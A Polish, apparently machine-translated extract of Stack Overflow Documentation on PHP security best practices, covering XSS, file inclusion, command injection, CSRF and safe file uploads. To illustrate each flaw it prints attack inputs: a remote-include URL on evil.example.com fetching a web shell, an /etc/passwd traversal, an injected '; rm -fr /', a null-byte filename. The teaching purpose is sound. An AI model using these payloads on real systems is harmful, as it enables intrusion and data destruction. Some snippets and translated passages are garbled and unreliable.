Szukaj…


Wprowadzenie

Ponieważ większość stron internetowych korzysta z PHP, bezpieczeństwo aplikacji jest ważnym tematem dla programistów PHP, aby chronić swoją witrynę, dane i klientów. Ten temat obejmuje najlepsze praktyki bezpieczeństwa w PHP, a także typowe luki i słabości z przykładowymi poprawkami w PHP.

Uwagi

Zobacz też

Zgłaszanie błędów

Domyślnie PHP wyświetla błędy , ostrzeżenia i powiadomienia bezpośrednio na stronie, jeśli wystąpi coś nieoczekiwanego w skrypcie. Jest to przydatne do rozwiązywania określonych problemów ze skryptem, ale jednocześnie wyświetla informacje, o których użytkownicy nie chcą wiedzieć.

Dlatego dobrą praktyką jest unikanie wyświetlania wiadomości, które ujawniają informacje o twoim serwerze, takie jak drzewo katalogów, na przykład w środowisku produkcyjnym. W środowisku programistycznym lub testowym komunikaty te mogą być nadal przydatne do wyświetlania w celu debugowania.

Szybkie rozwiązanie

Możesz je wyłączyć, aby wiadomości w ogóle się nie wyświetlały, jednak utrudnia to debugowanie skryptu.

<?php
  ini_set("display_errors", "0");
?>

Lub zmień je bezpośrednio w php.ini .

display_errors = 0

Obsługa błędów

Lepszym rozwiązaniem byłoby przechowywanie tych komunikatów o błędach w miejscu, w którym są bardziej przydatne, na przykład w bazie danych:

set_error_handler(function($errno , $errstr, $errfile, $errline){
  try{
    $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
      PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    ]);

    if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
      if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
        throw new Exception('Unable to execute query');
      }
    } else {
      throw new Exception('Unable to prepare query');
    }
  } catch (Exception $e){
    error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
  }
});

Ta metoda będzie rejestrować wiadomości w bazie danych, a jeśli to nie powiedzie się do pliku zamiast echa bezpośrednio na stronie. W ten sposób możesz śledzić, czego doświadczają użytkownicy w Twojej witrynie i natychmiast powiadamiać Cię, jeśli coś pójdzie nie tak.

Cross-Site Scripting (XSS)

Problem

Skrypty między witrynami to niezamierzone wykonanie zdalnego kodu przez klienta WWW. Każda aplikacja internetowa może narazić się na XSS, jeśli pobierze dane wejściowe od użytkownika i wyśle je bezpośrednio na stronie internetowej. Jeśli dane wejściowe obejmują HTML lub JavaScript, zdalny kod może być wykonany, gdy treść ta jest renderowana przez klienta WWW.

Na przykład, jeśli strona zewnętrzna zawiera plik JavaScript :

// http://example.com/runme.js
document.write("I'm running");

A aplikacja PHP bezpośrednio przekazuje ciąg znaków do niej przekazany:

<?php
echo '<div>' . $_GET['input'] . '</div>';

Jeśli niezaznaczony parametr GET zawiera <script src="http://example.com/runme.js"></script> wówczas wynikiem działania skryptu PHP będzie:

<div><script src="http://example.com/runme.js"></script></div>

Uruchomiony zostanie skrypt JavaScript innej firmy, a użytkownik zobaczy na stronie „Uruchomię”.

Rozwiązanie

Zasadniczo nigdy nie ufaj wkładowi pochodzącemu od klienta. Każda wartość GET, POST i cookie może być dowolną wartością i dlatego powinna zostać zweryfikowana. Kiedy wypisujesz którąś z tych wartości, unikaj ich, aby nie zostały ocenione w nieoczekiwany sposób.

Pamiętaj, że nawet w najprostszych aplikacjach dane można przenosić i trudno będzie śledzić wszystkie źródła. Dlatego najlepszą praktyką jest zawsze unikanie wyjścia.

PHP oferuje kilka sposobów na uniknięcie wyjścia w zależności od kontekstu.

Funkcje filtra

Funkcje filtrowania PHP pozwalają na dezynfekcję lub walidację danych wejściowych skryptu php na wiele sposobów . Są przydatne podczas zapisywania lub wysyłania danych wejściowych klienta.

Kodowanie HTML

htmlspecialchars przekształci jakiekolwiek znaki specjalne „HTML” w ich kodowania HTML, co oznacza, że nie będą następnie przetwarzane w standardzie HTML. Aby naprawić nasz poprzedni przykład przy użyciu tej metody:

<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';

Wyprowadziłby:

<div>&lt;script src=&quot;http://example.com/runme.js&quot;&gt;&lt;/script&gt;</div>

Wszystko wewnątrz znacznika <div> nie będzie interpretowane przez przeglądarkę jako znacznik JavaScript, ale jako zwykły węzeł tekstowy. Użytkownik bezpiecznie zobaczy:

<script src="http://example.com/runme.js"></script>

Kodowanie URL

Podczas generowania dynamicznie generowanego adresu URL PHP udostępnia funkcję urlencode aby bezpiecznie wysyłać prawidłowe adresy URL. Na przykład jeśli użytkownik jest w stanie wprowadzić dane, które stają się częścią innego parametru GET:

<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';

Wszelkie złośliwe dane wejściowe zostaną przekonwertowane na zakodowany parametr adresu URL.

Korzystanie ze specjalistycznych bibliotek zewnętrznych lub list OWASP AntiSamy

Czasami będziesz chciał wysłać HTML lub inny rodzaj kodu. Będziesz musiał prowadzić listę autoryzowanych słów (biała lista) i nieautoryzowanych (czarna lista).

Możesz pobrać standardowe listy dostępne na stronie OWASP AntiSamy . Każda lista nadaje się do określonego rodzaju interakcji (eBay api, tinyMCE itp.). I to jest open source.

Istnieją biblioteki, które filtrują HTML i zapobiegają atakom XSS w ogólnym przypadku i wykonują co najmniej tak samo dobrze jak listy AntiSamy przy bardzo łatwym użyciu. Na przykład masz HTML Purifier

Dołączanie plików

Zdalne dołączanie plików

Zdalne dołączanie plików (znane również jako RFI) to rodzaj luki, która pozwala osobie atakującej na dołączenie zdalnego pliku.

W tym przykładzie wstrzykuje zdalnie hostowany plik zawierający złośliwy kod:

<?php
include $_GET['page'];

/vulnerable.php?page= http://evil.example.com/webshell.txt ?

Włączanie plików lokalnych

Lokalne dołączanie plików (znane również jako LFI) to proces dołączania plików na serwerze za pośrednictwem przeglądarki internetowej.

<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
    include $page;
} else {
    include 'index.php';
}

/vulnerable.php?page=../../../../etc/passwd

Rozwiązanie dla RFI i LFI:

Zaleca się, aby zezwalać na dołączanie tylko zatwierdzonych plików i ograniczać się tylko do tych.

<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
    include($page);
} else {
    include('index.php');
}

Wstrzyknięcie wiersza poleceń

Problem

W podobny sposób, w jaki wstrzykiwanie SQL umożliwia atakującemu wykonywanie dowolnych zapytań w bazie danych, wstrzykiwanie z wiersza poleceń pozwala komuś uruchamiać niezaufane polecenia systemowe na serwerze WWW. Przy nieprawidłowo zabezpieczonym serwerze dałoby to atakującemu pełną kontrolę nad systemem.

Załóżmy na przykład, że skrypt pozwala użytkownikowi wyświetlić zawartość katalogu na serwerze WWW.

<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>

(W rzeczywistej aplikacji można użyć wbudowanych funkcji lub obiektów PHP, aby uzyskać zawartość ścieżki. Ten przykład służy do prostej demonstracji bezpieczeństwa.)

Można mieć nadzieję, że otrzymamy parametr path podobny do /tmp . Ale jakkolwiek dozwolone są jakiekolwiek dane wejściowe, path może być ; rm -fr / . Serwer WWW wykona następnie polecenie

ls; rm -fr /

i spróbuj usunąć wszystkie pliki z katalogu głównego serwera.

Rozwiązanie

Wszystkie argumenty poleceń musi być ocalałem przy użyciu escapeshellarg() lub escapeshellcmd() . To sprawia, że argumenty nie są wykonywane. Dla każdego parametru należy również sprawdzić wartość wejściową.

W najprostszym przypadku możemy zabezpieczyć nasz przykład za pomocą

<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>

Zgodnie z poprzednim przykładem próby usunięcia plików wykonywane polecenie staje się

ls '; rm -fr /'

Łańcuch jest po prostu przekazywany jako parametr do ls , zamiast kończyć komendę ls i uruchamiać rm .

Należy zauważyć, że powyższy przykład jest teraz zabezpieczony przed wstrzyknięciem polecenia, ale nie przed przejściem do katalogu. Aby to naprawić, należy sprawdzić, czy znormalizowana ścieżka zaczyna się od żądanego podkatalogu.

PHP oferuje szereg funkcji do wykonywania poleceń systemowych, w tym exec , passthru , proc_open , shell_exec i system . Wszystkie dane muszą być dokładnie sprawdzone i usunięte.

Wyciek wersji PHP

Domyślnie PHP powie światu, jakiej wersji PHP używasz, np

X-Powered-By: PHP/5.3.8

Aby to naprawić, możesz zmienić plik php.ini:

expose_php = off

Lub zmień nagłówek:

header("X-Powered-By: Magic");

Lub jeśli wolisz metodę htaccess:

Header unset X-Powered-By

Jeśli którakolwiek z powyższych metod nie działa, istnieje również funkcja header_remove() która umożliwia usunięcie nagłówka:

header_remove('X-Powered-By');

Jeśli atakujący wiedzą, że używasz PHP i wersji PHP, której używasz, łatwiej jest im wykorzystać Twój serwer.

Stripping Tags

strip_tags to bardzo potężna funkcja, jeśli wiesz, jak z niej korzystać. Jako metodę zapobiegania atakom typu cross-site scripting istnieją lepsze metody, takie jak kodowanie znaków, ale w niektórych przypadkach przydatne jest usuwanie tagów.

Podstawowy przykład

$string = '<b>Hello,<> please remove the <> tags.</b>';

echo strip_tags($string);

Produkcja surowa

Hello, please remove the tags.

Zezwalanie na tagi

Powiedzmy, że chcesz zezwolić na określony znacznik, ale żadnych innych znaczników, a następnie określisz to w drugim parametrze funkcji. Ten parametr jest opcjonalny. W moim przypadku chcę tylko, aby tag <b> był przekazywany.

$string = '<b>Hello,<> please remove the <br> tags.</b>';

echo strip_tags($string, '<b>');

Produkcja surowa

<b>Hello, please remove the  tags.</b>

Zawiadomienie

Komentarze HTML i znaczniki PHP są również usuwane. Jest to zakodowane na stałe i nie można go zmienić za pomocą tagów allowable_tags.

W PHP 5.3.4 i późniejszych, samozamykające się tagi XHTML są ignorowane i w tagach allowable_tag powinny być używane tylko te nie samozamykające się. Na przykład, aby zezwolić zarówno na <br> jak i <br/> , powinieneś użyć:

<?php
strip_tags($input, '<br>');
?>

Fałszowanie żądań w różnych witrynach

Problem

Fałszowanie żądań między witrynami lub CSRF może zmusić użytkownika końcowego do nieświadomego generowania złośliwych żądań do serwera WWW. Ten wektor ataku można wykorzystać zarówno w żądaniach POST, jak i GET. Załóżmy na przykład, że punkt końcowy /delete.php?accnt=12 URL /delete.php?accnt=12 usuwa konto przekazane z parametru accnt żądania GET. Teraz, jeśli uwierzytelniony użytkownik napotka następujący skrypt w dowolnej innej aplikacji

<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">

konto zostanie usunięte.

Rozwiązanie

Częstym rozwiązaniem tego problemu jest użycie tokenów CSRF . Tokeny CSRF są osadzone w żądaniach, dzięki czemu aplikacja internetowa może ufać, że żądanie pochodzi z oczekiwanego źródła w ramach normalnego przepływu pracy aplikacji. Najpierw użytkownik wykonuje pewne czynności, takie jak przeglądanie formularza, który uruchamia tworzenie unikalnego tokena. Przykładowy formularz implementujący to może wyglądać

<form method="get" action="/delete.php">
  <input type="text" name="accnt" placeholder="accnt number" />
  <input type="hidden" name="csrf_token" value="<randomToken>" />
  <input type="submit" />
</form>

Następnie token może zostać zweryfikowany przez serwer względem sesji użytkownika po przesłaniu formularza w celu wyeliminowania złośliwych żądań.

Przykładowy kod

Oto przykładowy kod podstawowej implementacji:

/* Code to generate a CSRF token and store the same */
...
<?php
  session_start();
  function generate_token() {
    // Check if a token is present for the current session
    if(!isset($_SESSION["csrf_token"])) {
        // No token present, generate a new one
        $token = random_bytes(64);
        $_SESSION["csrf_token"] = $token;
    } else {
        // Reuse the token
        $token = $_SESSION["csrf_token"];
    }
    return $token;
  }
?>
<body>
  <form method="get" action="/delete.php">
    <input type="text" name="accnt" placeholder="accnt number" />
    <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
    <input type="submit" />
  </form>
</body>
...


/* Code to validate token and drop malicious requests */
...
<?php
  session_start();
  if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
    // Reset token
    unset($_SESSION["csrf_token"]);
    die("CSRF token validation failed");
  }
?>
...

Istnieje już wiele bibliotek i frameworków, które mają własną implementację walidacji CSRF. Chociaż jest to prosta implementacja CSRF, musisz napisać kod, aby dynamicznie zregenerować token CSRF, aby zapobiec kradzieży i naprawie tokenów CSRF.

Przesyłanie plików

Jeśli chcesz, aby użytkownicy przesyłali pliki na Twój serwer, musisz przeprowadzić kilka kontroli bezpieczeństwa, zanim faktycznie przeniesiesz przesłany plik do katalogu internetowego.

Przesłane dane:

Ta tablica zawiera dane przesłane przez użytkownika i nie stanowi informacji o samym pliku. Podczas gdy zwykle dane te są generowane przez przeglądarkę, można łatwo złożyć zapytanie do tego samego formularza za pomocą oprogramowania.

$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
  • name - zweryfikuj każdy jej aspekt.
  • type - Nigdy nie używaj tych danych. Można go pobrać za pomocą funkcji PHP.
  • size - bezpieczny w użyciu.
  • tmp_name - Bezpieczny w użyciu.

Wykorzystanie nazwy pliku

Zwykle system operacyjny nie zezwala na określone znaki w nazwie pliku, ale podszywając się pod prośbę, można je dodać, umożliwiając nieoczekiwane zdarzenia. Na przykład nazwijmy plik:

../script.php%00.png

Przyjrzyj się tej nazwie pliku i powinieneś zauważyć kilka rzeczy.

  1. Pierwsze, co zauważysz, to ../ , całkowicie nielegalne w nazwie pliku, a jednocześnie idealnie w porządku, jeśli przenosisz plik z jednego katalogu do innego, co zrobimy dobrze?
  2. Teraz możesz myśleć, że poprawnie weryfikujesz rozszerzenia plików w skrypcie, ale ten exploit polega na dekodowaniu adresu URL, tłumacząc %00 na znak null , mówiąc w zasadzie do systemu operacyjnego, ten ciąg kończy się tutaj, usuwając .png z nazwy pliku .

Więc teraz przesłałem script.php do innego katalogu, script.php proste weryfikacje rozszerzeń plików. .htaccess pliki .htaccess , uniemożliwiając wykonywanie skryptów z katalogu wysyłania.


Bezpieczne uzyskiwanie nazwy pliku i rozszerzenia

Możesz użyć pathinfo() aby ekstrapolować nazwę i rozszerzenie w bezpieczny sposób, ale najpierw musimy zastąpić niechciane znaki w nazwie pliku:

// This array contains a list of characters not allowed in a filename
$illegal   = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename  = str_replace($illegal, "-", $_FILES['file']['name']);

$pathinfo  = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename  = $pathinfo['filename']  ? $pathinfo['filename']:'';

if(!empty($extension) && !empty($filename)){
  echo $filename, $extension;
} else {
  die('file is missing an extension or name');
}

Chociaż teraz mamy nazwę pliku i rozszerzenie, które można wykorzystać do przechowywania, nadal wolę przechowywać te informacje w bazie danych i nadać temu plikowi wygenerowaną nazwę, na przykład md5(uniqid().microtime())

+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title  | extension | mime       | size | filename                         | time                |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1  | myfile | txt       | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+

Rozwiązałoby to problem zduplikowanych nazw plików i nieprzewidzianych exploitów w nazwie pliku. Spowodowałoby to również, że atakujący zgadłby, gdzie ten plik został zapisany, ponieważ nie może on specjalnie zaatakować go do wykonania.


Sprawdzanie poprawności typu MIME

Sprawdzanie rozszerzenia pliku w celu ustalenia, który plik jest niewystarczający, ponieważ plik może mieć nazwę image.png ale może również zawierać skrypt php. Sprawdzając typ MIME przesłanego pliku w stosunku do rozszerzenia pliku, możesz sprawdzić, czy plik zawiera nazwę, której dotyczy jego nazwa.

Możesz nawet pójść o krok dalej w celu walidacji zdjęć, a to właśnie je otwiera:

if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
  if($img = imagecreatefromjpeg($filename)){
    imagedestroy($img);
  } else {
    die('image failed to open, could be corrupt or the file contains something else.');
  }
}

Możesz pobrać typ MIME za pomocą wbudowanej funkcji lub klasy .


Biała lista Twoich przesłanych plików

Co najważniejsze, należy dodać do białej listy rozszerzenia plików i typy MIME w zależności od każdego formularza.

function isFiletypeAllowed($extension, $mime, array $allowed)
{
    return  isset($allowed[$mime]) &&
            is_array($allowed[$mime]) &&
            in_array($extension, $allowed[$mime]);
}

$allowedFiletypes = [
    'image/png'  => [ 'png' ],
    'image/gif'  => [ 'gif' ],
    'image/jpeg' => [ 'jpg', 'jpeg' ],
];

var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));


Modified text is an extract of the original Stack Overflow Documentation
Licencjonowany na podstawie CC BY-SA 3.0
Nie związany z Stack Overflow